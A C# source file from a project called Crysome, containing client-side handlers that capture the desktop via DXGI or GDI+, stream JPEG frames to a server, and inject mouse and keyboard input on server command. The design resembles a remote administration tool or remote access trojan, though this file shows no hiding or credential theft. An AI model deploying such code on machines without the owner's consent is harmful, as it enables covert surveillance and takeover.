423 lines
10 KiB
C#
423 lines
10 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
using TurboJpegWrapper;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class RemoteDesktopHandlers
|
|
{
|
|
private struct INPUT
|
|
{
|
|
public uint type;
|
|
public InputUnion U;
|
|
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit)]
|
|
private struct InputUnion
|
|
{
|
|
[FieldOffset(0)]
|
|
public MOUSEINPUT mi;
|
|
[FieldOffset(0)]
|
|
public KEYBDINPUT ki;
|
|
}
|
|
|
|
private struct MOUSEINPUT
|
|
{
|
|
public int dx;
|
|
public int dy;
|
|
public uint mouseData;
|
|
public uint dwFlags;
|
|
public uint time;
|
|
public IntPtr dwExtraInfo;
|
|
}
|
|
|
|
private struct KEYBDINPUT
|
|
{
|
|
public ushort wVk;
|
|
public ushort wScan;
|
|
public uint dwFlags;
|
|
public uint time;
|
|
public IntPtr dwExtraInfo;
|
|
}
|
|
|
|
private static volatile bool _desktopRunning;
|
|
private static Thread _desktopThread;
|
|
private static CrysomeClient _desktopClient;
|
|
private static int _intervalMs = 200;
|
|
private static int _screenIndex = -1;
|
|
private static volatile int _jpegQuality = 80;
|
|
private static byte _captureMode;
|
|
public static string ActiveMode { get; private set; } = "Idle";
|
|
private static ImageCodecInfo _jpegCodec;
|
|
private static readonly object _codecLock = new object();
|
|
private static TurboJpegWrapper.TJCompressor _turboCompressor;
|
|
private static bool _turboChecked;
|
|
|
|
private const int SM_XVIRTUALSCREEN = 76;
|
|
private const int SM_YVIRTUALSCREEN = 77;
|
|
private const int SM_CXVIRTUALSCREEN = 78;
|
|
private const int SM_CYVIRTUALSCREEN = 79;
|
|
|
|
public static void HandleGetScreens(CrysomeClient client, IPacket packet)
|
|
{
|
|
try
|
|
{
|
|
Screen[] allScreens = Screen.AllScreens;
|
|
ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
|
|
for (int i = 0; i < allScreens.Length; i++)
|
|
{
|
|
Screen screen = allScreens[i];
|
|
array[i] = new ScreenInfo
|
|
{
|
|
Name = screen.DeviceName,
|
|
X = screen.Bounds.X,
|
|
Y = screen.Bounds.Y,
|
|
Width = screen.Bounds.Width,
|
|
Height = screen.Bounds.Height,
|
|
IsPrimary = screen.Primary
|
|
};
|
|
}
|
|
client.SendPacket((IPacket)new ScreensResponsePacket(array));
|
|
}
|
|
catch
|
|
{
|
|
client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
|
|
}
|
|
}
|
|
|
|
public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
|
|
{
|
|
_desktopRunning = false;
|
|
_desktopThread?.Join(500);
|
|
StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
|
|
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
|
_screenIndex = val.ScreenIndex;
|
|
_captureMode = val.CaptureMode;
|
|
_desktopClient = client;
|
|
_jpegQuality = 80;
|
|
_desktopRunning = true;
|
|
_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
|
|
_desktopThread.Start();
|
|
}
|
|
|
|
public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
|
|
{
|
|
_desktopRunning = false;
|
|
_desktopThread?.Join(2000);
|
|
}
|
|
|
|
public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
|
|
{
|
|
RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
|
|
_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
|
|
if (val.IntervalMs > 0)
|
|
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
|
}
|
|
|
|
public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
|
|
{
|
|
RemoteInputPacket val = (RemoteInputPacket)packet;
|
|
try
|
|
{
|
|
int offsetX = 0, offsetY = 0;
|
|
Screen targetScreen = GetTargetScreen();
|
|
if (targetScreen != null)
|
|
{
|
|
offsetX = targetScreen.Bounds.X;
|
|
offsetY = targetScreen.Bounds.Y;
|
|
}
|
|
int x = val.X + offsetX;
|
|
int y = val.Y + offsetY;
|
|
|
|
switch (val.Kind)
|
|
{
|
|
case 0: SendMouseMove(x, y); break;
|
|
case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
|
|
case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
|
|
case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
|
|
case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private static void DesktopLoop()
|
|
{
|
|
var sw = new Stopwatch();
|
|
DxgiCapture dxgi = null;
|
|
bool dxgiAvailable = false;
|
|
int dxgiRetryCounter = 0;
|
|
|
|
if (_captureMode == 2)
|
|
{
|
|
// GDI+ forced — skip DXGI entirely
|
|
dxgiAvailable = false;
|
|
ActiveMode = "GDI+ (forced)";
|
|
Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
|
|
}
|
|
else
|
|
{
|
|
// Try DXGI (Auto or DXGI forced)
|
|
try
|
|
{
|
|
dxgi = new DxgiCapture();
|
|
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
|
dxgiAvailable = dxgi.Init(idx);
|
|
if (dxgiAvailable)
|
|
{
|
|
ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
|
|
Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
dxgiAvailable = false;
|
|
}
|
|
|
|
if (!dxgiAvailable)
|
|
{
|
|
if (_captureMode == 1)
|
|
{
|
|
// DXGI forced but failed — log error, don't fall back
|
|
ActiveMode = "DXGI (failed)";
|
|
Program.Log("[RDP] DXGI forced but init failed, no fallback");
|
|
}
|
|
else
|
|
{
|
|
// Auto mode — fall back to GDI+
|
|
ActiveMode = "GDI+";
|
|
Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
|
|
}
|
|
}
|
|
}
|
|
|
|
Bitmap gdiBitmap = null;
|
|
Rectangle gdiRect = Rectangle.Empty;
|
|
|
|
try
|
|
{
|
|
while (_desktopRunning && _desktopClient != null)
|
|
{
|
|
sw.Restart();
|
|
try
|
|
{
|
|
byte[] jpeg = null;
|
|
|
|
if (dxgiAvailable)
|
|
{
|
|
jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
|
|
if (jpeg != null)
|
|
{
|
|
dxgiRetryCounter = 0;
|
|
}
|
|
else
|
|
{
|
|
dxgiRetryCounter++;
|
|
if (dxgiRetryCounter > 120)
|
|
{
|
|
Program.Log("[RDP] DXGI reinit");
|
|
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
|
dxgiAvailable = dxgi.Init(idx);
|
|
dxgiRetryCounter = 0;
|
|
if (!dxgiAvailable)
|
|
{
|
|
if (_captureMode == 1)
|
|
{
|
|
Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
|
|
ActiveMode = "DXGI (failed)";
|
|
}
|
|
else
|
|
{
|
|
Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
|
|
ActiveMode = "GDI+";
|
|
}
|
|
dxgi.Dispose();
|
|
dxgi = null;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!dxgiAvailable && _captureMode != 1)
|
|
{
|
|
Rectangle bounds = GetTargetScreen().Bounds;
|
|
if (gdiBitmap == null || bounds != gdiRect)
|
|
{
|
|
gdiBitmap?.Dispose();
|
|
gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
|
gdiRect = bounds;
|
|
}
|
|
jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
|
|
}
|
|
|
|
if (jpeg != null && jpeg.Length > 0)
|
|
{
|
|
try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
|
|
}
|
|
}
|
|
catch { }
|
|
|
|
int elapsed = (int)sw.ElapsedMilliseconds;
|
|
int sleep = _intervalMs - elapsed;
|
|
if (sleep > 1)
|
|
Thread.Sleep(sleep);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
ActiveMode = "Idle";
|
|
dxgi?.Dispose();
|
|
gdiBitmap?.Dispose();
|
|
}
|
|
}
|
|
|
|
private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
|
|
{
|
|
if (!_turboChecked)
|
|
{
|
|
_turboChecked = true;
|
|
try { _turboCompressor = new TJCompressor(); }
|
|
catch { _turboCompressor = null; }
|
|
}
|
|
|
|
if (_turboCompressor != null)
|
|
{
|
|
try
|
|
{
|
|
var bmpData = bmp.LockBits(
|
|
new Rectangle(0, 0, bmp.Width, bmp.Height),
|
|
ImageLockMode.ReadOnly,
|
|
PixelFormat.Format24bppRgb);
|
|
try
|
|
{
|
|
return _turboCompressor.Compress(
|
|
bmpData.Scan0,
|
|
bmpData.Stride,
|
|
bmp.Width,
|
|
bmp.Height,
|
|
TJPixelFormats.TJPF_BGR,
|
|
TJSubsamplingOptions.TJSAMP_420,
|
|
quality,
|
|
TJFlags.FASTDCT);
|
|
}
|
|
finally
|
|
{
|
|
bmp.UnlockBits(bmpData);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
_turboCompressor = null;
|
|
}
|
|
}
|
|
|
|
var codec = GetJpegCodec();
|
|
if (codec != null)
|
|
{
|
|
using (var ep = new EncoderParameters(1))
|
|
{
|
|
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
|
using (var ms = new MemoryStream(65536))
|
|
{
|
|
bmp.Save(ms, codec, ep);
|
|
return ms.ToArray();
|
|
}
|
|
}
|
|
}
|
|
using (var ms = new MemoryStream(65536))
|
|
{
|
|
bmp.Save(ms, ImageFormat.Jpeg);
|
|
return ms.ToArray();
|
|
}
|
|
}
|
|
|
|
private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
|
|
{
|
|
using (var g = Graphics.FromImage(reuseBmp))
|
|
g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
|
|
return EncodeBitmapToJpeg(reuseBmp, quality);
|
|
}
|
|
|
|
private static ImageCodecInfo GetJpegCodec()
|
|
{
|
|
if (_jpegCodec != null) return _jpegCodec;
|
|
lock (_codecLock)
|
|
{
|
|
if (_jpegCodec != null) return _jpegCodec;
|
|
foreach (var info in ImageCodecInfo.GetImageEncoders())
|
|
{
|
|
if (info.FormatID == ImageFormat.Jpeg.Guid)
|
|
{
|
|
_jpegCodec = info;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
return _jpegCodec;
|
|
}
|
|
|
|
private static Screen GetTargetScreen()
|
|
{
|
|
var all = Screen.AllScreens;
|
|
if (_screenIndex >= 0 && _screenIndex < all.Length)
|
|
return all[_screenIndex];
|
|
return Screen.PrimaryScreen;
|
|
}
|
|
|
|
private static void ToAbsolute(int x, int y, out int ax, out int ay)
|
|
{
|
|
int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
|
int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
|
int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
|
int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
|
if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
|
|
if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
|
|
ax = (int)((double)(x - vx) * 65535.0 / vw);
|
|
ay = (int)((double)(y - vy) * 65535.0 / vh);
|
|
}
|
|
|
|
private static void SendMouseMove(int x, int y)
|
|
{
|
|
ToAbsolute(x, y, out var ax, out var ay);
|
|
var input = new INPUT[1];
|
|
input[0].type = 0;
|
|
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
|
|
SendInput(1, input, INPUT.Size);
|
|
}
|
|
|
|
private static void SendMouseButton(int x, int y, int button, bool down)
|
|
{
|
|
ToAbsolute(x, y, out var ax, out var ay);
|
|
uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
|
|
var input = new INPUT[1];
|
|
input[0].type = 0;
|
|
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
|
|
SendInput(1, input, INPUT.Size);
|
|
}
|
|
|
|
private static void SendKey(ushort vk, bool down)
|
|
{
|
|
var input = new INPUT[1];
|
|
input[0].type = 1;
|
|
input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
|
|
SendInput(1, input, INPUT.Size);
|
|
}
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern int GetSystemMetrics(int nIndex);
|
|
}
|